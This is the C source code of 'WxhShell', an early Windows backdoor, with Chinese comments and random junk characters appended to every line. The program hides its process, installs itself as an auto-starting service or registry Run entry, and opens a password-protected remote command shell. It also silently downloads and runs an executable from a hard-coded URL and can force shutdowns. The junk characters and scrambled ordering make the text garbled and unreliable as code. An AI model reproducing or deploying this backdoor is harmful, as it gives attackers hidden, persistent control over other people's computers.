    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  N<~LgH  
    if(Boot(SHUTDOWN)) 6%Pvh- ~_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hq aay  
    else { Ij2T h]  
    closesocket(wsh); a"m-&mN  
    ExitThread(0); ]jSRO30H3<  
    } j~Mx^ivwj  
    break; i hcSSUm  
    } nm,(Wdr  
  // 获取shell &mkL4 jXG  
  case 's': { ,wZq ~; 2  
    CmdShell(wsh); 4ufT-&m};s  
    closesocket(wsh); KEjMxOv1  
    ExitThread(0); {]]#q0|  
    break; x}~Z[bx  
  } :Z.P0=  
  // 退出 zNM*xPgS  
  case 'x': { L, 2;-b|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H"c2kno9  
    CloseIt(wsh); fyEXnmB;  
    break; VE)) `?  
    } v;#0h7qd  
  // 离开 bFVY&  
  case 'q': { qRL45[ K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ac'pu,v  
    closesocket(wsh); gjzU%{T ?  
    WSACleanup(); ',!>9Dj  
    exit(1); r0s(MyI  
    break; (Rsf;VPO  
        } {wD:!\5  
  } e"|ZTg+U  
  } i,2eoM)FB  
3LZvlcLb  
  // 提示信息 mhI   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {7Hc00FM  
} <07]w$m/  
  } Mtc  -  
]fSpG\yU  
  return; e_}tK1XY  
} |3BxNFe`%  
xAr&sGMA  
// shell模块句柄 )JhB!P(  
int CmdShell(SOCKET sock) R-tZC9 @  
{ y1B' _s  
STARTUPINFO si; S@Aw1i p  
ZeroMemory(&si,sizeof(si)); Z|xgZG{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kAs=5_?I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "gt1pf~y  
PROCESS_INFORMATION ProcessInfo; _6 @GT  
char cmdline[]="cmd"; 0nZQ" {x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [U:P&)  
  return 0; <Qt9MO`a  
} \46*4?pP  
cNMDI  
// 自身启动模式 HMhdK  
int StartFromService(void) ,z#S=I  
{ 0,B"p  
typedef struct ]"'1-h91  
{ Bm  4$  
  DWORD ExitStatus; 3|%058bF  
  DWORD PebBaseAddress; a7aj:.wi  
  DWORD AffinityMask; P1R[M|Fx  
  DWORD BasePriority; yp)D"w4@  
  ULONG UniqueProcessId; h)^|VM   
  ULONG InheritedFromUniqueProcessId; zU'7x U-  
}   PROCESS_BASIC_INFORMATION; [x'D+!  
"q KVGd  
PROCNTQSIP NtQueryInformationProcess; K^P&3H*(/n  
n. vrq-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rh%@N.Z*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }*S`1IWMj  
j /@<=  
  HANDLE             hProcess; ;rV+eb)I  
  PROCESS_BASIC_INFORMATION pbi; ^oR qu  
Awr(}){  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s^m`qi(H  
  if(NULL == hInst ) return 0; bXA%|7*  
'uF-}_ |  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m'M5O@?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0`Uw[Er&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v]rbm}uU9  
c}s#!|E0v  
  if (!NtQueryInformationProcess) return 0;  smn~p/u  
gLg.mV1<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v+o6ZNX  
  if(!hProcess) return 0; _# cM vl k  
{R"mvB`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f:6F5G  
:4)(Qa(  
  CloseHandle(hProcess); %Y,Ru)5}  
8l'W[6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D&i, `j  
if(hProcess==NULL) return 0; U.h2 (-p  
=uEpeL~d;+  
HMODULE hMod; 2vhP'?;K  
char procName[255]; HD3WsIim*  
unsigned long cbNeeded; Z!*6;[]SfG  
~NLthZ (O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?zfm"o  
#m;o)KkH$r  
  CloseHandle(hProcess); XN{WxcZ  
u6%\ZK._ \  
if(strstr(procName,"services")) return 1; // 以服务启动 )&Z`SaoP|J  
I8c:U2D  
  return 0; // 注册表启动 `\'V]9wS  
} PHJHW#sv  
C6Cr+TScH  
// 主模块 Ikw.L  
int StartWxhshell(LPSTR lpCmdLine) bdfs'udt9  
{ "zkQu  
  SOCKET wsl; f=.!/e70  
BOOL val=TRUE; ;-BN~1Jg  
  int port=0; 3,2$Ny3N  
  struct sockaddr_in door; IZ iS3  
><xmw=  
  if(wscfg.ws_autoins) Install(); k~3\0man  
Ni|MTE]~  
port=atoi(lpCmdLine); Z1:<i*6>D  
< Wp)Y  
if(port<=0) port=wscfg.ws_port; |MagK$o  
%*o  
  WSADATA data; >P:U9 b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a)c;z@r  
Ab>Kfr#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wwQ2\2w>Hm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q2'}S A/  
  door.sin_family = AF_INET; +6$ -"lf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hc3tzB  
  door.sin_port = htons(port); uA;#*eiA/  
<mj/P|P@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gK@`0/k{  
closesocket(wsl); #I*{_|}=  
return 1; 9Kg yt  
} *SIYZE'  
Vh2uzG  
  if(listen(wsl,2) == INVALID_SOCKET) { x*RSD,3  
closesocket(wsl); nC!]@lA  
return 1; KLj=M;$:K  
} jSH.e?  
  Wxhshell(wsl); nRu %0Op  
  WSACleanup(); ~WORC\kCW  
AzSu_  
return 0; IG{Me  
f6Lc"b3s1  
} #5kclu%L$  
Gqc6]{  
// 以NT服务方式启动 oylQCbT   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :zq Un&k&  
{ /U0Hk>$~(  
DWORD   status = 0; |)" y  
  DWORD   specificError = 0xfffffff; ^suQ7#g  
+P Dk>PdEt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JM?__b7g2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t'0&n3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8 hhMuh  
  serviceStatus.dwWin32ExitCode     = 0; %<+uJ'pj  
  serviceStatus.dwServiceSpecificExitCode = 0; _`O",Ff  
  serviceStatus.dwCheckPoint       = 0; QBH|pr  
  serviceStatus.dwWaitHint       = 0; 0l& '`  
@$ Nti>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TwVkI<e0s?  
  if (hServiceStatusHandle==0) return; O[eU{ ;P  
KdYR?rY  
status = GetLastError(); rXT?w]4  
  if (status!=NO_ERROR) MRK=\qjD  
{ _-TW-{7bh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S[yrGX8lu  
    serviceStatus.dwCheckPoint       = 0; a^|9rho<  
    serviceStatus.dwWaitHint       = 0; 6}Tftw$0z  
    serviceStatus.dwWin32ExitCode     = status; &A.0(s  
    serviceStatus.dwServiceSpecificExitCode = specificError; MffCk!]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \`["IkSg7  
    return; ~av#r=x  
  } m;hp1VO)  
rc<Ix  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +9|0\Q  
  serviceStatus.dwCheckPoint       = 0; 3 yb]d5:U  
  serviceStatus.dwWaitHint       = 0; ,7:-V<'Yv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VF";p^  
} ~E y+  
|<,0*2  
// 处理NT服务事件,比如:启动、停止 3.hFYA w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e1E_$oJP  
{ @Lf&[_  
switch(fdwControl) k'N``.  
{ v<g~ EjzCf  
case SERVICE_CONTROL_STOP: U{Oo@ztT  
  serviceStatus.dwWin32ExitCode = 0; 60$;Q,]o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =Hn--DEMg  
  serviceStatus.dwCheckPoint   = 0; & fWC-|  
  serviceStatus.dwWaitHint     = 0; Gos# =H  
  { <]KQ$8dtD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cLwnV.  
  } t2OBVzK  
  return; na8`V`77  
case SERVICE_CONTROL_PAUSE: IzUpkwN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f.^|2T I1g  
  break; 73 .+0x  
case SERVICE_CONTROL_CONTINUE: Sew*0S(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GH-Fqz  
  break; P7,g^:$  
case SERVICE_CONTROL_INTERROGATE: Br}@Vvq@  
  break; ENr#3+m$;  
}; #\}FQl6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ug546Bz  
} {5{VGAD&]>  
na~ FT[3 C  
// 标准应用程序主函数 Me? I8:/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k[ D,du')  
{ jVN06,3z  
NQ[X=a8N  
// 获取操作系统版本 ty#6%  
OsIsNt=GetOsVer(); Zr2T^p5u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \<`oW>  
XR7v\rd  
  // 从命令行安装 rFzj\%xa[  
  if(strpbrk(lpCmdLine,"iI")) Install(); tN\I2wm  
o@.{|j  
  // 下载执行文件 qWWt5rJ  
if(wscfg.ws_downexe) { lOeX5%$Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q8h0.(#-  
  WinExec(wscfg.ws_filenam,SW_HIDE); =. \hCgq  
} %dW ;P[0  
uQx/o ^  
if(!OsIsNt) { B|"i`{>  
// 如果时win9x,隐藏进程并且设置为注册表启动 i.Y2]1  
HideProc(); BLaNS4e  
StartWxhshell(lpCmdLine); n-jPb064  
} ,vf#e= Z  
else 'm6bfS^T  
  if(StartFromService()) Lp(`m=;O  
  // 以服务方式启动 hbvcIGaT  
  StartServiceCtrlDispatcher(DispatchTable); '1b)(IW  
else 9@ fSO<  
  // 普通方式启动 CR9wp] -Vd  
  StartWxhshell(lpCmdLine); % PB{jo  
M@h"FuX:  
return 0; :n{{\SSIgX  
} ~M H ^R1=]  
L8h!%56s  
^zO{Aks  
|,oLZC Na  
=========================================== E' `;  
yn]Sc<uK  
Lhux~,EH  
OOXSJE1  
2P8wvNDG  
w5PscEc  
" %(khE-SW  
fw,,cu`YA  
#include <stdio.h> m{RXt  
#include <string.h> %} zkmEY.e  
#include <windows.h> 4D<C;>*/b  
#include <winsock2.h> O<L=N-  
#include <winsvc.h> U*Y]cohh  
#include <urlmon.h> 2/V%jS[4#y  
|T/OOIA=sI  
#pragma comment (lib, "Ws2_32.lib") ^c}3o|1m(  
#pragma comment (lib, "urlmon.lib") N1c 0>{  
GfK%UZ$C  
#define MAX_USER   100 // 最大客户端连接数 `f&::>5tD  
#define BUF_SOCK   200 // sock buffer a*X{hU 9P  
#define KEY_BUFF   255 // 输入 buffer g3[-[G^5  
([rn.b]  
#define REBOOT     0   // 重启 _,(s  
#define SHUTDOWN   1   // 关机 I)` +:+P  
^VMCs/g6  
#define DEF_PORT   5000 // 监听端口 j][&o-Ev  
XPMUhozV  
#define REG_LEN     16   // 注册表键长度 \C>IVz<O  
#define SVC_LEN     80   // NT服务名长度 Fs4shrt  
P,)D0i  
// 从dll定义API uk$MQ v*D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H3R{+7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 59j`Z^e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  {p/Yz#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +kYp!00  
]k]bLyz\J  
// wxhshell配置信息 3>L5TYa  
struct WSCFG { }MMKOr(  
  int ws_port;         // 监听端口 [efU)O&  
  char ws_passstr[REG_LEN]; // 口令 b?iPQ$NyQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no L7(FD v,?  
  char ws_regname[REG_LEN]; // 注册表键名 e/+.^ '{  
  char ws_svcname[REG_LEN]; // 服务名 GU/P%c/V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q\i&E Rr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1I69O6"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~%h )G#N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |?^qs nB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ieq_XF]U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :^{KY(3  
,@;|+C  
}; 4<UAT|L^`  
qCrpc=  
// default Wxhshell configuration &53,8r  
struct WSCFG wscfg={DEF_PORT, $#5 'c+0  
    "xuhuanlingzhe", aL&egM*  
    1, psIo[.$rTk  
    "Wxhshell", 6U8esPs,  
    "Wxhshell", sj/k';#g  
            "WxhShell Service", )ADI[+KW  
    "Wrsky Windows CmdShell Service", =e#h;x2  
    "Please Input Your Password: ", n]4Elrxx  
  1, (#>X*~6  
  "http://www.wrsky.com/wxhshell.exe", Fyw X  
  "Wxhshell.exe" u5rvrn ]  
    }; ZaY|v-  
<h#W*a  
// 消息定义模块 o@360#njF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f!YlYk5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &P}t<;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )_j(NX-C:  
char *msg_ws_ext="\n\rExit."; Wm"#"l4  
char *msg_ws_end="\n\rQuit."; zJ}abo6rVw  
char *msg_ws_boot="\n\rReboot..."; k.54lNl  
char *msg_ws_poff="\n\rShutdown..."; EMr|#}]#s  
char *msg_ws_down="\n\rSave to "; 1@'I eywg  
{#?|&n<  
char *msg_ws_err="\n\rErr!"; + (:Qf+:  
char *msg_ws_ok="\n\rOK!"; (:E@kpK  
S`b!sT-sD  
char ExeFile[MAX_PATH]; ;/4x.t#b  
int nUser = 0; F`e E*&  
HANDLE handles[MAX_USER]; *^ G,  
int OsIsNt; kzCJs  
N\tFK*U^I  
SERVICE_STATUS       serviceStatus; 2eRk_j]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fHZ9wK>  
i qxMTH#!  
// 函数声明 1|G\&T   
int Install(void); nJv=kk1|o  
int Uninstall(void); T<Y*();Zo  
int DownloadFile(char *sURL, SOCKET wsh); J"E _i]  
int Boot(int flag); ^.@%n1I"5y  
void HideProc(void); MRo_An+  
int GetOsVer(void); j`@`M*)GB  
int Wxhshell(SOCKET wsl); q!U$\Q&  
void TalkWithClient(void *cs); K>~YO~~  
int CmdShell(SOCKET sock); \5<Z[#{  
int StartFromService(void); ->;2CcpHB  
int StartWxhshell(LPSTR lpCmdLine); (AjgLNB  
f0^s<:*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |/xA5_-N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~};q/-[r  
WY@g=W>+  
// 数据结构和表定义 YSPUQ  
SERVICE_TABLE_ENTRY DispatchTable[] = u Uq= L  
{ l-c:'n  
{wscfg.ws_svcname, NTServiceMain}, &D-z|ZjgHi  
{NULL, NULL} U&*%KPy`  
}; 9L-jlAo<  
1]0;2THx  
// 自我安装 5Zhl@v,L%  
int Install(void) KCZ<#ca^  
{ +C7W2!I[G2  
  char svExeFile[MAX_PATH]; l+y;>21sTu  
  HKEY key; sb_/FE5e  
  strcpy(svExeFile,ExeFile); cg]Gt1SU  
(4q/LuP^d  
// 如果是win9x系统,修改注册表设为自启动 J1gnR  
if(!OsIsNt) { $A,YQH+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WZ!zUUp}V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `w4'DB-R)  
  RegCloseKey(key); U8>4ClJ4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K9}Brhe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vAop#V  
  RegCloseKey(key); YE*|KL^  
  return 0; K7{B !kX4k  
    } \BfMCA/  
  } +CSv@ />3  
} )+,h}XqlX  
else { $f+I#uJ  
+zDRed_]=_  
// 如果是NT以上系统,安装为系统服务 zHNBX Rx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /G]/zlUE  
if (schSCManager!=0) L|(U%$  
{ bxO/FrwTj{  
  SC_HANDLE schService = CreateService hCgk78O?  
  ( H*N{4zBB  
  schSCManager, iC!6g|]X  
  wscfg.ws_svcname, 'ks  .TS&  
  wscfg.ws_svcdisp, 6q`)%"4k  
  SERVICE_ALL_ACCESS, 8n2;47 a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <f.Eog  
  SERVICE_AUTO_START, .dxELSV  
  SERVICE_ERROR_NORMAL, {gu3KV  
  svExeFile, |}YxxeAk  
  NULL, G9j f]Ye;  
  NULL, )'7Qd(4WT  
  NULL, ?A.ah  
  NULL, %c]N-  
  NULL !L9]nO 'BL  
  ); c}),yQ|!:  
  if (schService!=0) yEh{9S%6p  
  { n dN*X'  
  CloseServiceHandle(schService); >hG*=4oh  
  CloseServiceHandle(schSCManager); 87S,6Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x}WP1YyT~  
  strcat(svExeFile,wscfg.ws_svcname); ;[P>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5f0g7w =-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w03Ur4>T  
  RegCloseKey(key); WH7UJCQ  
  return 0; t3^`:T\  
    } q&6|uV])H  
  } R@Gll60  
  CloseServiceHandle(schSCManager); H!"TS-s`  
} g$Vr9MH  
} V)5,E>;EN  
SE i\H$ !  
return 1; ?< yYm;B  
} 8vR'<_>Q  
z9 #-  
// 自我卸载 69:-c@ L0  
int Uninstall(void) X6w+L?A  
{ - 3PLP$P  
  HKEY key; ([rSYKpi  
<:nyRy}  
if(!OsIsNt) { HFyQ$pbBU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !OPHS^L  
  RegDeleteValue(key,wscfg.ws_regname); %yfl-c(u  
  RegCloseKey(key); b *0uxvLu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #< :`:@2  
  RegDeleteValue(key,wscfg.ws_regname); >X:!Y[N  
  RegCloseKey(key); K]yWpW  
  return 0; ",Mrdxn7  
  } 9FNsW$b?  
} =;I+: K  
} #bG6+"g{=L  
else { {0/2Hw n  
8gt*`]I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bzt:9hr6BO  
if (schSCManager!=0) qJonzFp7  
{ \x4:i\Fx@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DVg$rm`  
  if (schService!=0) ?Oy0p8  
  { cCx{ ")  
  if(DeleteService(schService)!=0) { ,-(D (J;}1  
  CloseServiceHandle(schService); Ayn$,  
  CloseServiceHandle(schSCManager); NZ!I >  
  return 0; 1#+|RL4o  
  } f4d-eXGwx`  
  CloseServiceHandle(schService); p_JWklg^  
  } gk5Gf l  
  CloseServiceHandle(schSCManager); mZ:#d;0  
} r>*+d|c 4  
} HmU6:8V *Z  
#D{Eq8dp  
return 1; 9Nv?j=*$  
} -lv(@7o~  
jpW_q+^?  
// 从指定url下载文件 cuy9QBB :  
int DownloadFile(char *sURL, SOCKET wsh) bBo>Y7%  
{ BOy&3.h5?  
  HRESULT hr; ;qWSfCt/^  
char seps[]= "/"; "VoufXM:  
char *token; ;g2UIb?{6  
char *file; +7_U( |gO  
char myURL[MAX_PATH]; 0fUsERr1*  
char myFILE[MAX_PATH]; &U}8@;  
W|n$H`;R  
strcpy(myURL,sURL); Z8Vof~  
  token=strtok(myURL,seps); n6Z!~W8  
  while(token!=NULL) bt.3#aj  
  { N@!PhP  
    file=token; Ix@B*Xz:`  
  token=strtok(NULL,seps); gsa@ci  
  } G'dN<Nw6  
KPjAk  
GetCurrentDirectory(MAX_PATH,myFILE); BxQ,T@  
strcat(myFILE, "\\"); \>n[x; $  
strcat(myFILE, file); VTyj<6Y  
  send(wsh,myFILE,strlen(myFILE),0); 31e O2|7  
send(wsh,"...",3,0); ^~bd AO81  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A+4Kj~`!  
  if(hr==S_OK) "f~OC<GdYs  
return 0; s6_i>  
else b9-3  
return 1; Y}Y~?kE>M|  
L?&&4%%  
} L=C#E0{i  
:!?Fq/!  
// 系统电源模块 El :% \hGy  
int Boot(int flag) +$2`"%nBG  
{ m9&%A0  
  HANDLE hToken; ocUBSK|K)  
  TOKEN_PRIVILEGES tkp; D~M R)z_p~  
T:|p[Xbo  
  if(OsIsNt) { E:PPb9Kd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OP-{76vE&b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \6"=`H0}  
    tkp.PrivilegeCount = 1; eT(X Ri0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Odhr=Hs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _RZ"WA^[  
if(flag==REBOOT) { Iu >4+6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) co^h2b  
  return 0; zzW$F)X  
} l]&x~K}  
else { nvNF~)mu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) + DE/DR:  
  return 0; 8xh x*A  
} A2A_F|f  
  } v.u 5%  
  else { e+VE FWz  
if(flag==REBOOT) { h9iQn<lp4.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |Sua4~yL(  
  return 0; =#<bB)59  
} X{6a  
else { CY[3%7 fv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $4)L~g|  
  return 0; r=A A /n<  
} v*<rNZI  
} koD}o^U#  
0]=Bqyg  
return 1; g)|vS>^~  
} 734n1-F?I%  
" *W# z  
// win9x进程隐藏模块 [fo#){3K  
void HideProc(void) 3MKu!  
{ ucU7 @j  
N`N?1!fM<}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CQrP%}`r  
  if ( hKernel != NULL ) *W>, 98  
  { Q1|zX@,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PDCb(5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X(3| (1;sV  
    FreeLibrary(hKernel); Y> }\'$\b  
  } EIyFGCw|U  
7-~)/7L  
return; ~%f$}{  
} 8Djki]  
DQ[7p(  
// 获取操作系统版本 d&f!\n_~  
int GetOsVer(void) 3?L[ohKH?:  
{ -!li,&,A1  
  OSVERSIONINFO winfo; >+Iph2]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nLv~)IQ}:  
  GetVersionEx(&winfo); ]+B.=mO_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;'08-Et  
  return 1; s@y;b0$gk  
  else oGl<i  
  return 0; .c0u##/0  
} `8Ych@f]  
uwZ,l-6T  
// 客户端句柄模块 <o*b6 m%  
int Wxhshell(SOCKET wsl) 6-J}ZfGj  
{ HJ0;BD.]  
  SOCKET wsh; 6%>'n?  
  struct sockaddr_in client; 6?C';1  
  DWORD myID; *vEj\  
tns8B  
  while(nUser<MAX_USER) V |}9bNF  
{ J2! Q09 }5  
  int nSize=sizeof(client); iXL^[/}&?M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U?5lqq  
  if(wsh==INVALID_SOCKET) return 1; bX(/2_l  
o76!7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kN8B,  
if(handles[nUser]==0) hN]l $Ct  
  closesocket(wsh); 5;^1Ab0  
else {&B_b|g*fW  
  nUser++; iF837ng5  
  } op9vz[o#4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OJJ [Er1  
w%\{4T~  
  return 0; kS9;Tjcx  
} Fu5Y<*x  
T]zD+/=  
// 关闭 socket Y Q.Xl_  
void CloseIt(SOCKET wsh) uozq^sy  
{ 7DoU7I\u  
closesocket(wsh); |0}7/^  
nUser--; WVOj ;c  
ExitThread(0); d!Gy#<H  
} ]7yxXg  
3(,m(+J[S  
// 客户端请求句柄 tY!l}:E[  
void TalkWithClient(void *cs) ud BIEW,`  
{ N}ND()bf  
'g'RXC}D>  
  SOCKET wsh=(SOCKET)cs; .s!0S-RkC  
  char pwd[SVC_LEN]; '-[hy>t  
  char cmd[KEY_BUFF]; Z~8%bfpe  
char chr[1]; m6$&yKQ-=h  
int i,j; DLqH*U  
Vwh ;QJxb  
  while (nUser < MAX_USER) { #W3H;'~/5  
_od /)#  
if(wscfg.ws_passstr) { G e]NA]<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tgi%#8ZDpz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @U1|?~M%s  
  //ZeroMemory(pwd,KEY_BUFF); r =vY-p  
      i=0; 5$HG#2"Kb#  
  while(i<SVC_LEN) { kD%MFT4  
y%61xA`#  
  // 设置超时 bu_@A^ys  
  fd_set FdRead; ^" 54Q^SH  
  struct timeval TimeOut; |uw48*t  
  FD_ZERO(&FdRead); Fw{@RQf8  
  FD_SET(wsh,&FdRead); .35~+aqC  
  TimeOut.tv_sec=8; V\{@c%xW  
  TimeOut.tv_usec=0; M<*Tp^Y'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~O PBZ#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ytjZ7J['{  
[MwL=9;!H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {#,5C H')  
  pwd=chr[0]; t&=bW<6  
  if(chr[0]==0xd || chr[0]==0xa) { rr1'| k "  
  pwd=0; .KC V|x;QW  
  break; O2p E"8=4Q  
  } +_cigxpTc  
  i++; &|ne!wu  
    } V:J|shRo  
L[Z^4l_!  
  // 如果是非法用户,关闭 socket Us'JMZ~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z~3ubta8(@  
} a{^z= =  
]w _&%mB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I]+ zG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N0kCdJv  
)j~{P  
while(1) { K{/i2^4  
t,8?Tf+i  
  ZeroMemory(cmd,KEY_BUFF);  p#]9^oA  
<3@nv%  
      // 自动支持客户端 telnet标准   !-470J  
  j=0; F1-"yX1B  
  while(j<KEY_BUFF) { eLORG(;h4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7=}tJ  
  cmd[j]=chr[0]; rA B=H*|6  
  if(chr[0]==0xa || chr[0]==0xd) { wbKJ:eWgt  
  cmd[j]=0; [7gz?9VyLF  
  break; xW5`.^5  
  } [m h>N$  
  j++; `^hA&/1  
    } :.XlAQR~b  
 ~,&8)1  
  // 下载文件 l9=Ka{$^*  
  if(strstr(cmd,"http://")) { 9ck"JMla  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dbj?l;'1  
  if(DownloadFile(cmd,wsh)) (Z?f eUxp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CkNR{?S  
  else yx-"&K=`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .*njgAq7  
  } bF_0',W  
  else { $poIWJMc  
*qSvSY*  
